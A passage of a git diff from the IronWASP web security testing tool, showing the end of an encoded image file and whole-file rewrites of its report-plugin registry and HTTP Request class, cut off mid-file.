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 + + + \ No newline at end of file diff --git a/IronWASP/ReportPlugin.cs b/Iron/ReportPlugin.cs similarity index 96% rename from IronWASP/ReportPlugin.cs rename to Iron/ReportPlugin.cs index 3d70317..10e2531 100644 --- a/IronWASP/ReportPlugin.cs +++ b/Iron/ReportPlugin.cs @@ -1,62 +1,62 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Collections.Generic; -using System.Text; - -namespace IronWASP -{ - public class ReportPlugin : Plugin - { - internal static List Collection = new List(); - - public static void Add(ReportPlugin RP) - { - if ((RP.Name.Length > 0) && !(RP.Name.Equals("All") || RP.Name.Equals("None"))) - { - if (!List().Contains(RP.Name)) - { - Collection.Add(RP); - } - } - } - - public static List List() - { - List Names = new List(); - foreach (ReportPlugin RP in Collection) - { - Names.Add(RP.Name); - } - return Names; - } - - public static ReportPlugin Get(string Name) - { - foreach (ReportPlugin RP in Collection) - { - if (RP.Name.Equals(Name)) - { - return RP; - } - } - return null; - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Collections.Generic; +using System.Text; + +namespace IronWASP +{ + public class ReportPlugin : Plugin + { + internal static List Collection = new List(); + + public static void Add(ReportPlugin RP) + { + if ((RP.Name.Length > 0) && !(RP.Name.Equals("All") || RP.Name.Equals("None"))) + { + if (!List().Contains(RP.Name)) + { + Collection.Add(RP); + } + } + } + + public static List List() + { + List Names = new List(); + foreach (ReportPlugin RP in Collection) + { + Names.Add(RP.Name); + } + return Names; + } + + public static ReportPlugin Get(string Name) + { + foreach (ReportPlugin RP in Collection) + { + if (RP.Name.Equals(Name)) + { + return RP; + } + } + return null; + } + } +} diff --git a/IronWASP/Request.cs b/Iron/Request.cs similarity index 94% rename from IronWASP/Request.cs rename to Iron/Request.cs index 6b12d66..58c8367 100644 --- a/IronWASP/Request.cs +++ b/Iron/Request.cs @@ -1,1637 +1,1734 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.IO; -using System.Collections; -using System.Collections.Specialized; -using System.Collections.Generic; -using System.ComponentModel; -using System.Data; -using System.Data.SQLite; -using System.Drawing; -using System.Text; -using System.Text.RegularExpressions; -using System.Windows.Forms; -using System.Threading; -using System.Reflection; -using Microsoft.Scripting; -using Microsoft.Scripting.Runtime; -using Microsoft.Scripting.Hosting; -using IronPython; -using IronPython.Hosting; -using IronPython.Modules; -using IronPython.Runtime; -using IronPython.Runtime.Exceptions; -using IronRuby; -using IronRuby.Hosting; -using IronRuby.Runtime; -using IronRuby.StandardLibrary; - -namespace IronWASP -{ - public class Request - { - public bool SSL = false; - public string Method = "GET"; - public string HTTPVersion = "HTTP/1.1"; - public bool CanRunPassivePlugins = true; - - //internal properties - internal int ID=0; - //internal ManualResetEvent MSR; - internal bool FreezeURL = false; - internal bool FreezeBodyString = false; - internal bool FreezeCookieString = false; - internal bool FreezeCookieHeader = false; - - //used for checking binary status of request body - internal static List TextContentTypes = new List(); - - //only to be used when updating the log in DB & UI to aviod computation in the DB and UI threads - internal string StoredFile = ""; - internal string StoredParameters = ""; - internal string StoredHeadersString = ""; - internal string StoredBinaryBodyString = ""; - //internal string - - internal DateTime TimeObject = DateTime.Now; - - //To be set explicitly when cloning - public SessionPlugin SessionHandler = new SessionPlugin(); - - - //private properties - string bodyString = ""; - byte[] bodyArray = new byte[0]; - //Response response; - string url = ""; - int scanID = 0;//to be used only by the Active Plugins - QueryParameters query;//must instantiate in the constructor = new Parameters(); - BodyParameters body;//must instantiate in the constructor = new Parameters(); - CookieParameters cookie;//must instantiate in the constructor = new Parameters(); - RequestHeaderParameters headers;//must instantiate in the constructor = new Parameters(); - string source = RequestSource.Shell; - - string DefaultBodyCharset = "ISO-8859-1"; - - Response ResponseStoredForSendWithTimeout; - - Exception SendWithoutAReturnException = null;//To be used to store the exception from the SendWithReturn method - - //getter/setter properties - public string FullURL - { - get - { - StringBuilder FL = new StringBuilder(); - if (this.SSL) - { - FL.Append("https://"); - } - else - { - FL.Append("http://"); - } - FL.Append(this.Host); - FL.Append(this.URL); - return FL.ToString(); - } - set - { - this.AbsorbFullURL(value); - } - } - //for ruby naming convention - public string FullUrl - { - get - { - return this.FullURL; - } - set - { - this.FullURL = value; - } - } - - public string URL - { - get - { - return this.url; - } - set - { - this.FreezeURL = true; - //this.url = Tools.UrlPathEncode(value); - this.url = this.ProcessAndEncodeRawInputUrl(value); - this.query = new QueryParameters(this, this.url); - this.FreezeURL = false; - } - } - - public string Url - { - get - { - return this.URL; - } - set - { - this.URL = value; - } - } - - public string Host - { - get - { - if (this.headers.Has("Host")) - { - return this.headers.Get("Host"); - } - else - { - return ""; - } - } - set - { - this.headers.Set("Host", value); - } - } - public int BodyLength - { - get - { - return this.bodyArray.Length; - } - } - public string ContentType - { - get - { - if (this.headers.Has("Content-Type")) - { - return this.headers.Get("Content-Type"); - } - else - { - return ""; - } - } - set - { - this.SetContentType(Tools.RelaxedUrlEncode(value)); - } - } - public RequestHeaderParameters Headers - { - get - { - return this.headers; - } - } - public string BodyString - { - get - { - return this.bodyString; - } - set - { - this.SetBody(value); - } - } - - public string BinaryBodyString - { - get - { - return Convert.ToBase64String(this.BodyArray); - } - set - { - this.BodyArray = Convert.FromBase64String(value); - } - } - - public byte[] BodyArray - { - get - { - return this.bodyArray; - } - set - { - this.SetBody(value); - } - } - public string CookieString - { - get - { - if (this.headers.Has("Cookie")) - { - return this.headers.Get("Cookie"); ; - } - else - { - return ""; - } - } - set - { - this.SetCookie(value); - } - } - public bool Ssl - { - get - { - return this.SSL; - } - set - { - this.SSL = value; - } - } - public string HttpMethod - { - get - { - return this.Method; - } - set - { - this.Method = value; - } - } - public string HttpVersion - { - get - { - return this.HTTPVersion; - } - set - { - this.HTTPVersion = value; - } - } - public int ScanID - { - get - { - return this.scanID; - } - set - { - this.Source = RequestSource.Scan; - this.scanID = value; - } - } - - internal string Source - { - get - { - return this.source; - } - set - { - if(!RequestSource.IsValid(value)) - throw new Exception(string.Format("{0} - is an invalid value. Only alphabets are allowed in source names", value)); - else if (RequestSource.IsBanned(value)) - throw new Exception(string.Format("{0} - is a banned word for Request Source", value)); - else - this.source = value; - } - } - - public string Hash = ""; - - //getter properties - public QueryParameters Query - { - get - { - return this.query; - } - } - public BodyParameters Body - { - get - { - return this.body; - } - } - public CookieParameters Cookie - { - get - { - return this.cookie; - } - } - public bool HasBody - { - get - { - if (this.bodyArray.Length > 0) - { - return true; - } - else - { - return false; - } - - } - } - public bool IsBinary - { - get - { - try - { - return Tools.IsBinary(this.BodyArray); - } - catch (Exception Exp) - { - IronException.Report("Error checking request body for binary content", Exp); - return false; - } - //if (TextContentTypes.Contains("$NONE") && !Headers.Has("Content-Type")) return false; - - //foreach (string Type in TextContentTypes) - //{ - // if (ContentType.IndexOf(Type, StringComparison.OrdinalIgnoreCase) > -1) - // { - // return false; - // } - //} - //return true; - } - } - //public Response Response - //{ - // get - // { - // return this.response; - // } - //} - public string Time - { - get - { - return this.TimeObject.ToShortTimeString(); - } - } - public string URLPath - { - get - { - string[] URLParts = this.URL.Split(new char[] { '?' }, 2, StringSplitOptions.RemoveEmptyEntries); - if (URLParts.Length > 0) - { - return URLParts[0]; - } - else - { - return this.URL; - } - } - set - { - string Path = value; - if(Path.Length == 0) Path = "/"; - string[] URLParts = this.URL.Split(new char[] { '?' }, 2, StringSplitOptions.RemoveEmptyEntries); - if (URLParts.Length > 1) - { - this.URL = Path + "?" + URLParts[1]; - } - else - { - this.URL = Path; - } - } - } - - public string UrlPath - { - get - { - return URLPath; - } - set - { - URLPath = value; - } - } - - public List RawURLPathParts - { - get - { - string[] URLParts = this.URLPath.Split(new Char[] { '/' }, StringSplitOptions.RemoveEmptyEntries); - List URLPartsList = new List(URLParts); - return URLPartsList; - } - set - { - StringBuilder URLBuilder = new StringBuilder(); - if (value.Count == 0) - { - this.URLPath = "/"; - return; - } - foreach (string Part in value) - { - URLBuilder.Append("/"); - URLBuilder.Append(SafeRaw(Part)); - } - if (this.URLPath.EndsWith("/")) - { - URLBuilder.Append("/"); - } - this.URLPath = URLBuilder.ToString(); - } - } - - public List RawUrlPathParts - { - get - { - return RawURLPathParts; - } - - set - { - RawURLPathParts = value; - } - } - - public List UrlPathParts - { - get - { - List RawPaths = RawUrlPathParts; - for (int i = 0; i < RawPaths.Count; i++) - { - RawPaths[i] = PathPartDecode(RawPaths[i]); - } - return RawPaths; - } - set - { - List RawPaths = new List(value); - for (int i = 0; i < RawPaths.Count; i++) - { - RawPaths[i] = PathPartEncode(RawPaths[i]); - } - RawUrlPathParts = RawPaths; - } - } - - public string UrlDir - { - get - { - if (UrlPath.EndsWith("/")) - return UrlPath; - else - { - return UrlPath.Substring(0, UrlPath.LastIndexOf('/') + 1); - } - } - } - - public string BaseUrl - { - get - { - StringBuilder SB = new StringBuilder(); - if (this.SSL) - SB.Append("https://"); - else - SB.Append("http://"); - SB.Append(this.Host); - SB.Append("/"); - return SB.ToString(); - } - } - - //if the file extension is longer than 8 characters or has any non-alpha characters then return "" - public string File - { - get - { - string FullURLPath = this.URLPath; - int DotPosition = FullURLPath.LastIndexOf('.'); - if (DotPosition >= 0) - { - string File = FullURLPath.Substring(DotPosition + 1).ToLower(); - if ((File.Length == 0) || (File.Length > 8)) return ""; - char[] Chars = File.ToCharArray(); - StringBuilder ExtensionBuilder = new StringBuilder(); - foreach (char C in Chars) - { - int CharCode = (int)C; - if (CharCode > 96 && CharCode < 123) - { - ExtensionBuilder.Append(C.ToString()); - } - else - { - return ""; - } - } - return ExtensionBuilder.ToString(); - } - else - { - return ""; - } - } - } - public int LogId - { - get - { - return this.GetId(); - } - } - - //constructors - public Request(string FullURL) - { - this.InitiateParameters(); - this.AbsorbFullURL(FullURL); - } - public Request(string Method, string FullURL) - { - this.InitiateParameters(); - this.AbsorbFullURL(FullURL); - this.Method = Method; - } - public Request(string Method, string FullURL, string BodyString) - { - this.InitiateParameters(); - this.AbsorbFullURL(FullURL); - this.Method = Method; - this.SetBody(BodyString); - } - internal Request(string RequestHeaders, byte[] BodyArray) - { - this.InitiateParameters(); - this.AbsorbRequestString(RequestHeaders + "bw==", false, true); - this.SetBody(BodyArray); - } - internal Request (string RequestString, bool IsSSL) - { - this.InitiateParameters(); - this.AbsorbRequestString(RequestString,IsSSL,false); - } - internal Request(string RequestString, bool IsSSL, bool OverrideSSLParameter) - { - this.InitiateParameters(); - this.AbsorbRequestString(RequestString, IsSSL, OverrideSSLParameter); - } - - internal Request(Fiddler.Session Sess) - { - this.InitiateParameters(); - if (Sess.oFlags.ContainsKey("IronFlag-ID")) - { - this.ID = Int32.Parse(Sess.oFlags["IronFlag-ID"]); - } - if (Sess.oFlags.ContainsKey("IronFlag-ScanID")) - { - this.ScanID = Int32.Parse(Sess.oFlags["IronFlag-ScanID"]); - } - if (Sess.oFlags.ContainsKey("IronFlag-Ticks")) - { - this.TimeObject = new DateTime(long.Parse(Sess.oFlags["IronFlag-Ticks"])); - } - if (Sess.oFlags.ContainsKey("IronFlag-BuiltBy")) - { - switch (Sess.oFlags["IronFlag-BuiltBy"]) - { - case("ManualTestingSection"): - this.Source = RequestSource.Test; - break; - case (RequestSource.Shell): - this.Source = RequestSource.Shell; - break; - case (RequestSource.Probe): - this.Source = RequestSource.Probe; - break; - case (RequestSource.Scan): - this.Source = RequestSource.Scan; - break; - case (RequestSource.Stealth): - this.Source = RequestSource.Stealth; - break; - default: - if (Config.IsSourcePresent(Sess.oFlags["IronFlag-BuiltBy"])) - this.Source = Sess.oFlags["IronFlag-BuiltBy"]; - break; - } - } - if (Sess.oFlags.ContainsKey("IronFlag-RunPassivePlugins")) - { - this.CanRunPassivePlugins = Sess.oFlags["IronFlag-RunPassivePlugins"].Equals("1"); - } - this.AbsorbFullURL(Sess.fullUrl); - this.Method = Sess.oRequest.headers.HTTPMethod; - foreach (Fiddler.HTTPHeaderItem HHI in Sess.oRequest.headers) - { - this.Headers.Add(HHI.Name, HHI.Value); - } - this.SetBody(Sess.requestBodyBytes); - } - - //public non-static methods - public void SetBody(string BodyString) - { - this.FreezeBodyString = true; - this.SetBodyWithoutUpdatingParameters(BodyString); - this.body = new BodyParameters(this, this.bodyString); - this.FreezeBodyString = false; - } - - public void SetBody(byte[] NewBodyArray) - { - this.FreezeBodyString = true; - if (NewBodyArray == null) - { - this.SetEmptyBody(); - return; - } - else if(NewBodyArray.Length == 0) - { - this.SetEmptyBody(); - return; - } - this.bodyArray = new byte[NewBodyArray.Length]; - NewBodyArray.CopyTo(this.bodyArray, 0); - this.bodyString = this.GetBodyArrayAsString(this.bodyArray); - this.body = new BodyParameters(this, this.bodyString); - this.headers.Set("Content-Length", this.bodyArray.Length.ToString()); - 